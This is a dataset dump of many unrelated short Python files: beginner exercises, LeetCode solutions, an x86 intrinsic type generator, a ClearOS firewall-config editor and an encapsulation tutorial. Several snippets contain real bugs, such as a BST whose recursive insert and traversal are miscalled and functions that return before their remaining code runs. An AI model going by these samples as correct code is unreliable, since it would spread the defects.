content stringlengths 7 1.05M |
|---|
print("What is your name?")
name = input()
print("How old are you?")
age = int(input())
print("Where do you live?")
residency = input()
print("This is `{0}` \nIt is `{1}` \n(S)he live in `{2}` ".format(name, age, residency))
|
#!/usr/bin/env python3
class TypeCacher():
def __init__(self):
self.cached_types = {}
self.num_cached_types = 0
def get_cached_type_str(self, type_str):
if type_str in self.cached_types:
cached_type_str = 'cached_type_%d' % self.cached_types[type_str]
else:
cached_type_str = 'cached_type_%d' % self.num_cached_types
self.cached_types[type_str] = self.num_cached_types
self.num_cached_types += 1
return cached_type_str
def dump_to_file(self, path):
with open(path, 'w') as output:
output.write('// Generated file, please do not edit directly\n\n')
for cached_type, val in self.cached_types.items():
type_id_str = cached_type.split(' ')[0]
s = 'static %s cached_type_%d = %s;\n' % (type_id_str, val, cached_type)
output.write(s)
type_cacher = TypeCacher()
class CodeGenerator():
def __init__(self, path, vector_element_name, enclose_element_with, rw):
self.file = open(path, 'w')
self.write_header()
self.vector_element_name = vector_element_name
self.enclose_element_with = enclose_element_with
self.rw = rw
# if you do not exclude these, when you run code like `Architecture['x86_64']`,
# if will create integer of size 576
self.excluded_intrinsics = [
'INTRINSIC_XED_IFORM_XSAVE_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVE64_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVEOPT_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVEOPT64_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVES_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVES64_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVEC_MEMmxsave',
'INTRINSIC_XED_IFORM_XSAVEC64_MEMmxsave',
'INTRINSIC_XED_IFORM_XRSTOR_MEMmxsave',
'INTRINSIC_XED_IFORM_XRSTOR64_MEMmxsave',
'INTRINSIC_XED_IFORM_XRSTORS_MEMmxsave',
'INTRINSIC_XED_IFORM_XRSTORS64_MEMmxsave',
]
def clean_up(self):
self.file.close()
def write_header(self):
self.file.write('// Generated file, please do not edit directly\n\n')
def generate_intrinsic(self, ins):
global type_cacher
if ins.iform in self.excluded_intrinsics:
return
s = 'case %s:' % ins.iform
s += '\n\treturn '
return_str = 'vector<%s> ' % self.vector_element_name
return_str += '{ '
for operand in ins.operands:
if not self.rw in operand.rw:
continue
op_str = operand.generate_str()
# cached_op_str = type_cacher.get_cached_type_str(op_str)
if self.enclose_element_with == '':
return_str += '%s, ' % op_str
else:
return_str += '%s(%s), ' % (self.enclose_element_with, op_str)
if return_str.endswith(', '):
return_str = return_str[:-2]
return_str += ' }'
return_str = type_cacher.get_cached_type_str(return_str)
s += return_str
s += ';\n'
self.file.write(s)
class Intrinsic():
def __init__(self):
self.iform = ''
self.operands = []
self.vl = None
def reset(self):
self.iform = ''
self.operands = []
self.vl = None
def set_iform(self, iform):
self.iform = iform
def set_VL(self, vl):
self.vl = vl
def add_operand(self, operand):
if operand.oc2 == 'vv':
if self.vl is None:
print('cannot determine number of elements')
# more info goes here
else:
operand.oc2 = self.vl
operand.parse()
self.operands.append(operand)
class Operand():
def __init__(self, xtype, rw, oc2):
self.xtype = xtype
self.rw = rw
self.oc2 = oc2
def parse(self):
# from build/obj/dgen/all-element-types.txt
# #XTYPE TYPE BITS-PER-ELEM
# #
# var VARIABLE 0 # instruction must set NELEM and ELEMENT_SIZE
# struct STRUCT 0 # many elements of different widths
# int INT 0 # one element, all the bits, width varies
# uint UINT 0 # one element, all the bits, width varies
# #
# i1 INT 1
# i8 INT 8
# i16 INT 16
# i32 INT 32
# i64 INT 64
# u8 UINT 8
# u16 UINT 16
# u32 UINT 32
# u64 UINT 64
# u128 UINT 128
# u256 UINT 256
# f32 SINGLE 32
# f64 DOUBLE 64
# f80 LONGDOUBLE 80
# b80 LONGBCD 80
self.signed = (self.xtype[0] == 'i')
if self.xtype[0] == 'f':
self.type = 'float'
elif self.xtype == 'i1':
self.type = 'boolean'
else:
self.type = 'int'
# thse lengths are obtained from A.2.2 Codes for Operand Type
# of the Intel Dev Manual Volume 2
# See comment inside for varying sizes
size_mapping = {
'f80': 80,
'mem32real': 32,
'mem64real': 64,
'mem80real': 80,
'm32real': 32,
'm32int': 32,
'm64real': 64,
'm64int': 32,
'm80real': 80,
'mskw': 1,
'mem14': 14 * 8,
'mem28': 28 * 8,
'mem16': 16 * 8,
'mem94': 94 * 8,
'mem108': 108 * 8,
'mem32int': 32,
'mem16int': 16,
"mem80dec": 80,
'b': 8,
'w': 16,
'd': 32,
'q': 64,
'u64': 64,
'dq': 128,
'qq': 256,
'zd': 512,
'zu8': 512,
'zi8': 512,
'zi16': 512,
'zu16': 512,
'zuf64': 512,
'zuf32': 512,
'zf32': 512,
'zf64': 512,
'zi64': 512,
'zu64': 512,
'zu128': 512,
'zi32': 512,
'zu32': 512,
'VL512': 512,
'VL256': 256,
'VL128': 128,
'ss': 128,
'sd': 128,
'ps': 128,
'pd': 128,
'zbf16': 16,
's': 80,
's64': 64,
'a16': 16,
'a32': 32,
'xud': 128,
'xuq': 128,
# The specifiers below actually map to variable sizes, e.g., v can be
# "Word, doubleword or quadword (in 64-bit mode), depending on operand-size attribute".
# However, instructions that contain such operands are mostly covered by explicit liftings,
# for example, add, sub, and mov, etc. So they do not mess up the types
# Excpetions are lzcnt, tzcnt, popcnt, and crc32,
# which have to be further splitted into various finer-grained intrinsics
'v': 32,
'z': 32,
'y': 64,
# below specifiers are not found in the list, their size are determined manually
'spw': 32,
'spw8': 32,
'spw2': 32,
'spw3': 32,
'spw5': 32,
'wrd': 16,
'bnd32': 32,
'bnd64': 64,
'p': 64,
'p2': 64,
'mfpxenv': 512 * 8,
'mxsave': 576 * 8,
'mprefetch': 64,
'pmmsz16': 14 * 8,
'pmmsz32': 24 * 8,
'rFLAGS': 64,
'eFLAGS': 32,
'GPR64_R': 64,
'GPR64_B': 64,
'GPRv_R': 64,
'GPRv_B': 64,
'GPR32_R': 32,
'GPR32_B': 32,
'GPR16_R': 16,
'GPR16_B': 16,
'GPR8_R': 8,
'GPR8_B': 8,
'GPRy_B': 64,
'GPRz_B': 64,
'GPRz_R': 64,
'GPR8_SB': 64,
'A_GPR_R': 64,
'A_GPR_B': 64,
'GPRv_SB': 64,
'BND_R': 64,
'BND_B': 64,
'OeAX': 16,
'OrAX': 16,
'OrBX': 16,
'OrCX': 16,
'OrDX': 16,
'OrBP': 16,
'OrSP': 16,
'ArAX': 16,
'ArBX': 16,
'ArCX': 16,
'ArDI': 16,
'ArSI': 16,
'ArBP': 16,
'FINAL_SSEG0': 16,
'FINAL_SSEG1': 16,
'FINAL_DSEG': 16,
'FINAL_DSEG0': 16,
'FINAL_DSEG1': 16,
'FINAL_ESEG': 16,
'FINAL_ESEG1': 16,
'SEG': 16,
'SEG_MOV': 16,
'SrSP': 64,
'rIP': 64,
'CR_R': 32,
'DR_R': 32,
'XED_REG_AL': 8,
'XED_REG_AH': 8,
'XED_REG_BL': 8,
'XED_REG_BH': 8,
'XED_REG_CL': 8,
'XED_REG_DL': 8,
'XED_REG_AX': 16,
'XED_REG_BX': 16,
'XED_REG_CX': 16,
'XED_REG_DX': 16,
'XED_REG_BP': 16,
'XED_REG_SP': 16,
'XED_REG_SI': 16,
'XED_REG_DI': 16,
'XED_REG_SS': 16,
'XED_REG_DS': 16,
'XED_REG_ES': 16,
'XED_REG_IP': 16,
'XED_REG_FS': 16,
'XED_REG_GS': 16,
'XED_REG_CS': 16,
'XED_REG_EAX': 32,
'XED_REG_EBX': 32,
'XED_REG_ECX': 32,
'XED_REG_EDX': 32,
'XED_REG_EIP': 32,
'XED_REG_ESP': 32,
'XED_REG_EBP': 32,
'XED_REG_ESI': 32,
'XED_REG_EDI': 32,
'XED_REG_RAX': 64,
'XED_REG_RBX': 64,
'XED_REG_RCX': 64,
'XED_REG_RDX': 64,
'XED_REG_RIP': 64,
'XED_REG_RSP': 64,
'XED_REG_RBP': 64,
'XED_REG_RSI': 64,
'XED_REG_RDI': 64,
'XED_REG_R11': 64,
'XED_REG_X87STATUS': 16,
'XED_REG_X87CONTROL': 16,
'XED_REG_X87TAG': 16,
'XED_REG_X87PUSH': 64,
'XED_REG_X87POP': 64,
'XED_REG_X87POP2': 64,
'XED_REG_CR0': 64,
'XED_REG_XCR0': 64,
'XED_REG_MXCSR': 32,
'XED_REG_GDTR': 48,
'XED_REG_LDTR': 48,
'XED_REG_IDTR': 48,
'XED_REG_TR': 64,
'XED_REG_TSC': 64,
'XED_REG_TSCAUX': 64,
'XED_REG_MSRS': 64,
}
# if '_' in self.oc2:
# self.oc2 = self.oc2.split('_')[0]
try:
self.width = size_mapping[self.oc2]
except:
print('I do not know the width of oc2: %s' % self.oc2)
self.width = 8
if self.xtype == 'struct' or self.xtype == 'INVALID':
self.element_size = self.width
elif self.xtype == 'int':
self.element_size = 32
elif self.xtype == 'bf16':
self.element_size = 16
else:
size_str = self.xtype[1:]
self.element_size = int(size_str)
self.element_size_byte = int((self.element_size + 7) / 8)
n = int((self.width + 7) / 8) / self.element_size_byte
n = int(n)
if n < 1:
n = 1
self.n_element = n
def generate_str(self):
array = False
if self.element_size > 1:
array = True
inner_str = ''
if self.type == 'float':
inner_str = 'Type::FloatType(%d)' % self.element_size_byte
elif self.type == 'int':
signed_str = 'true' if self.signed else 'false'
inner_str = 'Type::IntegerType(%d, %s)' % (self.element_size_byte, signed_str)
else:
inner_str = 'Type::BoolType()'
if self.n_element > 1:
s = 'Type::ArrayType(%s, %d)' % (inner_str, self.n_element)
else:
s = inner_str
return s
def main():
intrinsic_input = CodeGenerator('../x86_intrinsic_input_type.include', 'NameAndType', 'NameAndType', 'r')
intrinsic_output = CodeGenerator('../x86_intrinsic_output_type.include', 'Confidence<Ref<Type>>', '', 'w')
with open('iform-type-dump.txt', 'r') as f:
ins = Intrinsic()
for line in f:
if line.strip() == '':
intrinsic_input.generate_intrinsic(ins)
intrinsic_output.generate_intrinsic(ins)
ins.reset()
continue
if line.startswith('INTRINSIC_XED_IFORM_'):
ins.set_iform(line.strip())
elif line.startswith('VL'):
ins.set_VL(line.strip())
elif line.startswith('\t'):
fields = line.strip().split('\t')
op = Operand(fields[0], fields[1], fields[2])
ins.add_operand(op)
else:
print('unexpected line! I do not know what to do with it')
print(line)
intrinsic_input.clean_up()
intrinsic_output.clean_up()
type_cacher.dump_to_file('../x86_intrinsic_cached_types.include')
if __name__ == '__main__':
main() |
def txt_category_to_dict(category_str):
"""
Parameters
----------
category_str: str of nominal values from dataset meta information
Returns
-------
dict of the nominal values and their one letter encoding
Example
-------
"bell=b, convex=x" -> {"bell": "b", "convex": "x"}
"""
string_as_words = category_str.split()
result_dict = {}
for word in string_as_words:
seperator_pos = word.find("=")
key = word[: seperator_pos]
val = word[seperator_pos + 1 :][0]
result_dict[key] = val
return result_dict
# from [a, b], [c, d] -> [a, b]; [c, d]
def replace_comma_in_text(text):
result_text = ""
replace = True
for sign in text:
if sign == '[':
replace = False
if sign == ']':
replace = True
if sign == ',':
if replace:
result_text += ';'
else:
result_text += sign
else:
result_text += sign
return result_text
# ('list', 4) -> "list[0], list[1], list[2], list[3]"
def generate_str_of_list_elements_with_indices(list_name, list_size):
result_str = ""
for i in range(0, list_size):
result_str += list_name + "[" + str(i) + "], "
return result_str[: -2]
# checks if a str is a number that could be interpreted as a float
def is_number(val):
try:
float(val)
return True
except ValueError:
return False
d = txt_category_to_dict("cobwebby=c, evanescent=e, flaring=r, grooved=g")
print(d) |
#!/usr/bin/env python
# coding: utf-8
# In[172]:
#Algorithm: S(A) is like a Pascal's Triangle
#take string "ZY" for instance
#S(A) of "ZY" can look like this: row 0 " "
# row 1 Z Y
# row 2 ZZ ZY YZ YY
# row 3 ZZZ ZZY ZYZ ZYY YZZ YZY YYZ YYY
#each letter in string A is added to the end of each word in previous row
#generator first generates words from each row of triangle and append them to total_List
#converts string A to list
repetition= []
#function that generates the words from each line in triangle
#N is number of iterations that the loop goes through depending on how long the longest resulting word is
def generate_words(N, A):
#make repetition a global variable
global repetition
#convert A to list of letters
L = list(A)
# if N is 0, return original string
if N == 0 :
return L
else:
#create empty list to store new words
newList=[]
#loop through each letter in string
for elem in repetition :
# add each letter in string to end of previous word
L1 = [ e + elem for e in L ]
newList = newList + L1
return generate_words(N -1, newList)
#function that adds each line together
def append_words(A):
global repetition
#set letters to be added as permanent
repetition = list(A)
total =['']
for i in range( len(A) +1 ):
total = total + generate_words(i , repetition )
return total
#return newly appended list of words
return generate_words(len(A),repetition)
print(append_words('abc'))
# In[178]:
#Algorithm: continued from part 1, treat S(A) as list of triangle/pyramid with len(A)**N rows
#function that gets total number of words for n letters in string A
# len(A)
mutation_base_len = 0
#function that converts index to corresponding word in the Nth position
def index_to_word(N, A):
mutation_base_len = len(A)
base_length = len(A)
#first get which line in the triangle the index is in
#since number of lines cannot be more than half of total number of words, divide by 2 to narrow down
totalLoop = int(N / 2)
str_of_word = list(A)
total_index = 0
#get position of word in row by subtracting # of words in each row by index #
which_pyramid_row = get_pyramid_row(N,A)
#print("which_pyramid_row:", which_pyramid_row)
curr_row_offset = N - get_pyramid_sumup(which_pyramid_row, A)
#convert position k to its N-base equivalent
dig_index = dec_to_base(curr_row_offset, base_length)
# if length of digit_string is less than its corresponding row number
# then need to make up the digits by inserting 0s to the front
if len(dig_index)< which_pyramid_row+1:
dig_index = str(0*(which_pyramid_row-len(dig_index))) + str(dig_index)
return int(dig_index)
# finally, convert n-base to corresponding words
letter_str = ''
for digit in dig_index:
corresponding_let = str_of_word[int(digit)]
letter_str+= corresponding_let
print("word:", letter_str)
return letter_str
#function to convert decimal to its N-base equivalent
def dec_to_base(n,base):
convertString = "0123456789ABCDEF"
if n < base:
return convertString[n]
else:
return dec_to_base(n//base,base) + convertString[n%base]
#get total number of words up to current row as defined by function get_pyramid_row
def get_pyramid_sumup(curr_row, A):
total_count = 0
for i in range(curr_row+1):
total_count+= (len(A))**i
return total_count
#get current row based on index number
def get_pyramid_row(index, A):
for i in range(len(A)+1):
if index >= get_pyramid_sumup(i, A) and index < get_pyramid_sumup(i+1, A):
return i
'''
def NthCount(N, A):
count = 0
for i in range(N):
count = count + len(A)**N
return count
'''
print(index_to_word(2, 'TGCA'))
# In[169]:
#function that uses the n-base system to convert letters to 0, 1, 2, etc and then finding the decimal correspondence index number
def word_to_index(WORD, A):
str_of_word = list(WORD)
#add the assigned n-base index to the end of str digits_string for every letter
#ie.for string ZY, Z=0, Y=1 so ZZY = 001
digits_string=""
for letter in str_of_word:
k = str_of_word.index(letter)
digits_string = str(digits_string) + str(k)
#print(int(digits_string))
return str(digits_string)
# calling the built-in function int(number, base) by passing two arguments in it
# number in string form and base and store the output value in line_index
line_index = int(digits_string, len(A))
# printing the corresponding decimal number
print("index:", line_index)
# add the line index to previous word counts to get the final index of WORD
actual_index = 0
for i in range(len(WORD)):
actual_index = line_index + (len(WORD)**i)
print(int(actual_index))
print(word_to_index('bb', 'abc'))
# In[ ]:
# In[ ]:
# In[ ]:
|
def Psychiatrichelp(thoughts, eyes, eye, tongue):
return f"""
{thoughts} ____________________
{thoughts} | |
{thoughts} | PSYCHIATRIC |
{thoughts} | HELP |
{thoughts} |____________________|
{thoughts} || ,-..'\`\`. ||
{thoughts} || (,-..'\`. ) ||
|| )-c - \`)\\ ||
,.,._.-.,_,.,-||,.(\`.-- ,\`',.-,_,||.-.,.,-,._.
___||____,\`,'--._______||
|\`._||______\`'__________||
| || __ ||
| || |.-' ,|- ||
_,_,,..-,_| || ._)) \`|- ||,.,_,_.-.,_
. \`._||__________________|| ____ .
. . . . <.____\`>
.SSt . . . . . _.()\`'()\`' .
""" |
# -*- coding: utf-8
#Ex. Dicionário:
alunos = {}
for _ in range(1, 4):
nome = input('Digite o nome: ')
nota = float(input('Digite a nota: '))
alunos[nome] = nota
print(alunos)
soma = 0
for nota in alunos.values():
#print(nota)
soma += nota
print('Media: ', soma / 3)
|
SECRET_KEY = ''
DEBUG = False
ALLOWED_HOSTS = [
#"example.com"
]
|
# Sort Alphabetically
presenters=[
{'name': 'Arthur', 'age': 9},
{'name': 'Nathaniel', 'age': 11}
]
presenters.sort(key=lambda item: item['name'])
print('--Alphabetically--')
print(presenters)
# Sort by length (Shortest to longest )
presenters.sort(key=lambda item: len (item['name']))
print('-- length --')
print(presenters) |
class SingletonMeta(type):
_instance = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instance:
cls._instance[cls] = super(SingletonMeta, cls).__call__(*args, **kwargs)
return cls._instance[cls]
|
# Created by MechAviv
# Full of Stars Damage Skin (30 Day) | (2436479)
if sm.addDamageSkin(2436479):
sm.chat("'Full of Stars Damage Skin (30 Day)' Damage Skin has been added to your account's damage skin collection.")
sm.consumeItem() |
# -*- coding: utf-8 -*-
"""
Created on 2020/12/21 15:04
@author: pipazi
"""
def L1_1_1(a):
return a + 1
|
FIREWALL_FORWARDING = 1
FIREWALL_INCOMING_ALLOW = 2
FIREWALL_INCOMING_BLOCK = 3
FIREWALL_OUTGOING_BLOCK = 4
FIREWALL_CFG_PATH = '/etc/clearos/firewall.conf'
def getFirewall(fw_type):
with open(FIREWALL_CFG_PATH,'r') as f:
lines = f.readlines()
lines = [line.strip('\t\r\n\\ ') for line in lines]
rules = []
rules_started = False
for line in lines:
if rules_started and line == '"':
break
if rules_started:
rule = line.split('|')
if fw_type == FIREWALL_INCOMING_ALLOW and rule[2].endswith('1'):
rules.append({
"name": rule[0],
"group": rule[1],
"proto": int(rule[3]),
"port": rule[5],
"enabled": (True if rule[2][2] == '1' else False)
})
if fw_type == FIREWALL_INCOMING_BLOCK and rule[2].endswith('2'):
rules.append({
"name": rule[0],
"group": rule[1],
"ip": rule[4],
"enabled": (True if rule[2][2] == '1' else False)
})
if fw_type == FIREWALL_OUTGOING_BLOCK and rule[2].endswith('4'):
rules.append({
"name": rule[0],
"group": rule[1],
"proto": int(rule[3]),
"ip": rule[4],
"port": rule[5],
"enabled": (True if rule[2][2] == '1' else False)
})
if fw_type == FIREWALL_FORWARDING and rule[2].endswith('8'):
rules.append({
"name": rule[0],
"group": rule[1],
"proto": int(rule[3]),
"dst_ip": rule[4],
"dst_port": rule[5],
"src_port": rule[6],
"enabled": (True if rule[2][2] == '1' else False)
})
if line == 'RULES="':
rules_started = True
return rules
def deleteFirewall(rule):
with open(FIREWALL_CFG_PATH,'r') as f:
lines = f.readlines()
success = False
i = 0
for line in lines:
if line == "\t" + rule + " \\\n": # TODO: make more checks
success = True
break
i += 1
if success:
lines.pop(i)
with open(FIREWALL_CFG_PATH,'w') as f:
lines = "".join(lines)
f.write(lines)
return success
def insertFirewall(rule):
with open(FIREWALL_CFG_PATH,'r') as f:
lines = f.readlines()
success = False
i = 0
for line in lines:
i += 1
if line.startswith('RULES="'):
success = True
break
if success:
lines.insert(i,"\t" + rule + " \\\n")
with open(FIREWALL_CFG_PATH,'w') as f:
lines = "".join(lines)
f.write(lines)
return success
def generateFirewall(rule,fw_type):
fw_rule = ""
if fw_type == FIREWALL_INCOMING_ALLOW:
fw_rule = "|".join([
rule.name,
(rule.group if rule.group else ""),
("0x10000001" if rule.enabled else "0x00000001"),
str(rule.proto),
"",
rule.port,
""
])
if fw_type == FIREWALL_INCOMING_BLOCK:
fw_rule = "|".join([
rule.name,
(rule.group if rule.group else ""),
("0x10000002" if rule.enabled else "0x00000002"),
"0",
rule.ip,
"",
""
])
if fw_type == FIREWALL_OUTGOING_BLOCK:
fw_rule = "|".join([
rule.name,
(rule.group if rule.group else ""),
("0x10000004" if rule.enabled else "0x00000004"),
str(rule.proto),
rule.ip,
rule.port,
""
])
if fw_type == FIREWALL_FORWARDING:
fw_rule = "|".join([
rule.name,
(rule.group if rule.group else ""),
("0x10000008" if rule.enabled else "0x00000008"),
str(rule.proto),
rule.dst_ip,
(rule.dst_port if rule.dst_port else ""),
rule.src_port
])
return fw_rule
def existsFirewall(name,fw_type):
for rule in getFirewall(fw_type):
if rule['name'] == name:
return True |
# SPDX-License-Identifier: MIT
# Copyright (c) 2021 Akumatic
#
# https://adventofcode.com/2021/day/02
def read_file() -> list:
with open(f"{__file__.rstrip('code.py')}input.txt", "r") as f:
return [(s[0], int(s[1])) for s in (line.split() for line in f.read().strip().split("\n"))]
def part1(commands: list) -> int:
position, depth = 0, 0
for com in commands:
if com[0] == "forward":
position += com[1]
elif com[0] == "down":
depth += com[1]
else: #com[1] == "up"
depth -= com[1]
return position * depth
def part2(commands: list) -> int:
position, depth, aim = 0, 0, 0
for com in commands:
if com[0] == "forward":
position += com[1]
depth += aim * com[1]
elif com[0] == "down":
aim += com[1]
else: #com[1] == "up"
aim -= com[1]
return position * depth
if __name__ == "__main__":
vals = read_file()
print(f"Part 1: {part1(vals)}")
print(f"Part 2: {part2(vals)}") |
#!/usr/bin/env python
# coding: utf-8
# #### We create a function cleanQ so we can do the cleaning and preperation of our data
# #### INPUT: String
# #### OUTPUT: Cleaned String
def cleanQ(query):
query = query.lower()
tokenizer = RegexpTokenizer(r'\w+')
tokens = tokenizer.tokenize(query)
stemmer=[ps.stem(i) for i in tokens]
filtered_Q = [w for w in stemmer if not w in stopwords.words('english')]
return filtered_Q
# #### We create a function computeTF so we can calculate the tf
# #### INPUT: Dictionary where the keys are the terms_id and the values are the frequencies of this term Id in the document
# #### OUTPUT: TF of the specific Term_id in the corresponding document
def computeTF(doc_words):
bow = 0
for k, v in doc_words.items():
bow = bow + v
tf_word = {}
for word, count in doc_words.items():
tf_word[word] = count / float(bow)
return tf_word
# #### We create a function tf_idf so we can calculate the tfidf
# #### INPUT: docid, termid
# #### OUTPUT: tfidf for the input
def tf_idf(docid, termid):
return((movieDatabase["Clean All"][docid][termid]*idf[termid])/sum(movieDatabase["Clean All"][docid]))
|
#5times range
print('my name i')
for i in range (5):
print('jimee my name ('+ str(i) +')')
|
class Node():
def __init__(self, val):
self.val = val
self.left = None
self.right = None
class BST():
def __init__(self):
self.root = Node(None)
def insert(self, new_data):
if self.root is None:
self.root = Node(new_data)
else:
if self.root.val < new_data:
self.insert(self.root.right, new_data)
else:
self.insert(self.root.left, new_data)
def inorder(self):
if self.root:
self.inorder(self.root.left)
print(self.root.val)
self.inorder(self.root.right)
if __name__ == '__main__':
tree = BST()
tree.insert(5)
tree.insert(4)
tree.insert(7)
tree.inorder()
|
# https://app.codesignal.com/arcade/code-arcade/loop-tunnel/xzeZqCQjpfDJuN72S
def additionWithoutCarrying(param1, param2):
# Add the values of each column of each number without carrying.
# Order them smaller and larger value.
param1, param2 = sorted([param1, param2])
# Convert both values to strings.
str1, str2 = str(param1), str(param2)
# Pad the smaller value with 0s so all columns have a match.
str1 = "0" * (len(str2) - len(str1)) + str1
res = ""
for i in range(len(str2)):
# Add up the integer value of each column, extract units with modulus,
# then convert back to string and create a result string.
res += str((int(str1[i]) + int(str2[i])) % 10)
return int(res)
|
# Author: @Iresharma
# https://leetcode.com/problems/reverse-integer/
"""
Runtime: 20 ms, faster than 99.38% of Python3 online submissions for Reverse Integer.
Memory Usage: 14.2 MB, less than 71.79% of Python3 online submissions for Reverse Integer.
"""
class Solution:
def reverse(self, x: int) -> int:
if abs(x) > 2147483648:
return 0
s = str(x)
if s[0] == '-':
x = int('-' + s[::-1][:-1:])
return x if abs(x) < 2147483648 else 0
x = int(s[::-1])
return x if x < 2147483648 else 0 |
# 1137. N-th Tribonacci Number
# Runtime: 32 ms, faster than 35.84% of Python3 online submissions for N-th Tribonacci Number.
# Memory Usage: 14.3 MB, less than 15.94% of Python3 online submissions for N-th Tribonacci Number.
class Solution:
# Space Optimisation - Dynamic Programming
def tribonacci(self, n: int) -> int:
if n < 3:
return 1 if n else 0
x, y, z = 0, 1, 1
for _ in range(n - 2):
x, y, z = y, z, x + y + z
return z |
# Exercise2.p1
# Variables, Strings, Ints and Print Exercise
# Given two variables - name and age.
# Use the format() function to create a sentence that reads:
# "Hi my name is Julie and I am 42 years old"
# Set that equal to the variable called sentence
name = "Julie"
age = "42"
sentence = "Hi my name is {} and i am {} years old".format(name,age)
print(sentence) |
#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
Author: AsherYang
Email: ouyangfan1991@gmail.com
Date: 2018/5/17
Desc: 网络返回分类
"""
class NetCategory:
def __init__(self):
self._id = None
self._code = None
self._parent_code = None
self._name = None
self._logo = None
@property
def id(self):
return self._id
@id.setter
def id(self, value):
self._id = value
@property
def code(self):
return self._code
@code.setter
def code(self, value):
self._code = value
@property
def parent_code(self):
return self._parent_code
@parent_code.setter
def parent_code(self, value):
self._parent_code = value
@property
def name(self):
return self._name
@name.setter
def name(self, value):
self._name = value
@property
def logo(self):
return self._logo
@logo.setter
def logo(self, value):
self._logo = value
|
# -*- coding: UTF-8 -*-
# author:昌维[867597730@qq.com]
# github:https://github.com/cw1997
# 单页记录数(常量)
record_num = 20 |
class Solution:
def rotate(self, nums, k):
"""
:type nums: List[int]
:type k: int
:rtype: void Do not return anything, modify nums in-place instead.
"""
len1 = len(nums)
if k == 0 or len1 == 1:
return
a1, b1, a2, b2 = 0, len1 - 1 - k, len1 - k, len1 - 1
# 均以下标为准
while b2 - a2 != b1 - a1:
if b2 - a2 > b1 - a1:
len2 = (b1 - a1 + 1)
else:
len2 = (b2 - a2 + 1)
for i in range(0, len2):
nums[a1 + i], nums[b2 - len2 + 1 + i] = nums[b2 - len2 + 1 + i], nums[a1 + i]
if b2 - a2 > b1 - a1:
b2 -= len2
else:
a1 += len2
len2 = b1 - a1 + 1
for i in range(0, len2):
nums[a1 + i], nums[a2 + i] = nums[a2 + i], nums[a1 + i] |
def ordinal(num):
suffixes = {1: 'st', 2: 'nd', 3: 'rd'}
if 10 <= num % 100 <= 20:
suffix = 'th'
else:
suffix = suffixes.get(num % 10, 'th')
return str(num) + suffix
def num_to_text(num):
texts = {
1: 'first',
2: 'second',
3: 'third',
4: 'fourth',
5: 'fifth',
6: 'sixth',
7: 'seventh',
8: 'eighth',
9: 'ninth',
10: 'tenth',
11: 'eleventh',
12: 'twelfth',
13: 'thirteenth',
14: 'fourteenth',
15: 'fifteenth',
16: 'sixteenth',
17: 'seventeenth',
18: 'eighteenth',
19: 'nineteenth',
20: 'twentieth',
}
if num in texts:
return texts[num]
else:
return ordinal(num)
|
#To reverse a given number
def ReverseNo(num):
num = str(num)
reverse = ''.join(reversed(num))
print(reverse)
Num = int(input('N= '))
ReverseNo(Num)
|
def age_assignment(*args, **kwargs):
answer = {}
for arg in args:
for k, v in kwargs.items():
if arg[0] == k:
answer[arg] = v
return answer
|
class Solution:
def restoreString(self, s: str, indices: List[int]) -> str:
answer = ""
for i in range(len(indices)):
answer += s[indices.index(i)]
return answer |
{
".py": {
"from osv import osv, fields": [regex("^from osv import osv, fields$"), "from odoo import models, fields, api"],
"from osv import fields, osv": [regex("^from osv import fields, osv$"), "from odoo import models, fields, api"],
"(osv.osv)": [regex("\(osv\.osv\)"), "(models.Model)"],
"from osv.orm import except_orm": [regex("^from osv\.orm import except_orm$"), "from odoo.exceptions import except_orm"],
"from tools import config": [regex("^from tools import config$"), "from odoo.tools import config"],
"from tools.translate import _": [regex("^from tools\.translate import _$"), "from odoo import _"],
"import tools": [regex("^import tools$"), "from odoo import tools"],
"name_get()": [regex("^ def name_get\(self,.*?\):"), " @api.multi\n def name_get(self):"],
"select=1": ["select=1", "index=True"],
"select=0": ["select=0", "index=False"],
"": ["", ""],
},
".xml": {
"<openerp>": ["<openerp>", "<odoo>"],
"</openerp>": ["</openerp>", "</odoo>"],
"ir.sequence.type record": [regex('^\\s*<record model="ir.sequence.type".*?<\/record>'), ""]
}
}
|
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def findTarget(self, root: Optional[TreeNode], k: int) -> bool:
nums = []
self.nodeValueExtract(root, nums)
for i in range(len(nums)):
if k - nums[i] in nums[i+1:]:
return True
return False
def nodeValueExtract(self, root, nums):
if root:
self.nodeValueExtract(root.left, nums)
nums.append(root.val)
self.nodeValueExtract(root.right, nums) |
"""
Define your BigQuery tables as dataclasses.
"""
__version__ = "0.4"
|
# -*- coding: utf-8 -*-
"""
BlueButtonFHIR_API
FILE: __init__.py
Created: 12/15/15 4:42 PM
"""
__author__ = 'Mark Scrimshire:@ekivemark'
|
# Encapsulation: intance variables and methods can be kept private.
# Abtraction: each object should only expose a high level mechanism
# for using it. It should hide internal implementation details and only
# reveal operations relvant for other objects.
# ex. HR dept setting salary using setter method
class SoftwareEngineer:
def __init__(self, name, age):
self.name = name
self.age = age
# protected variable
# can still be accessed outside
self._salary = None
# strict private variable
# AttributeError: 'CLASS' object has no attribute '__<attribute_name>'
# However __ is not used conventionally and _ is used.
self.__salary = 5000
# protected variable
self._nums_bugs_solved = 0
def code(self):
self._nums_bugs_solved += 1
# protected method
def _calcluate_salary(self, base_value):
if self._nums_bugs_solved < 10:
return base_value
elif self._nums_bugs_solved < 100:
return base_value * 2
return base_value
# getter method: manual implementation
def get_salary(self):
return self._salary
# getter method
def get_nums_bugs_solved(self):
return self._nums_bugs_solved
# setter method
def set_salary(self, base_value):
value = self._calcluate_salary(base_value)
# check value, enforce constarints
if value < 1000:
self._salary = 1000
if value > 20000:
self._salary = 20000
self._salary = value
# pythonic implementation of getter method
# use @property decorator
# name of the method is variable_name being set
# called by print(<instance_name>.<variable_name>)
@property
def salary(self):
return self._salary
# pythonic implementation of setter method
# use @<variable>.setter decorator
# name of the method is variable_name being set
# used by <instance_name>.<variable_name> = <VALUE>
@salary.setter
def salary(self, base_value):
value = self._calcluate_salary(base_value)
# check value, enforce constarints
if value < 1000:
self._salary = 1000
if value > 20000:
self._salary = 20000
self._salary = value
# pythonic implementation of the delete method
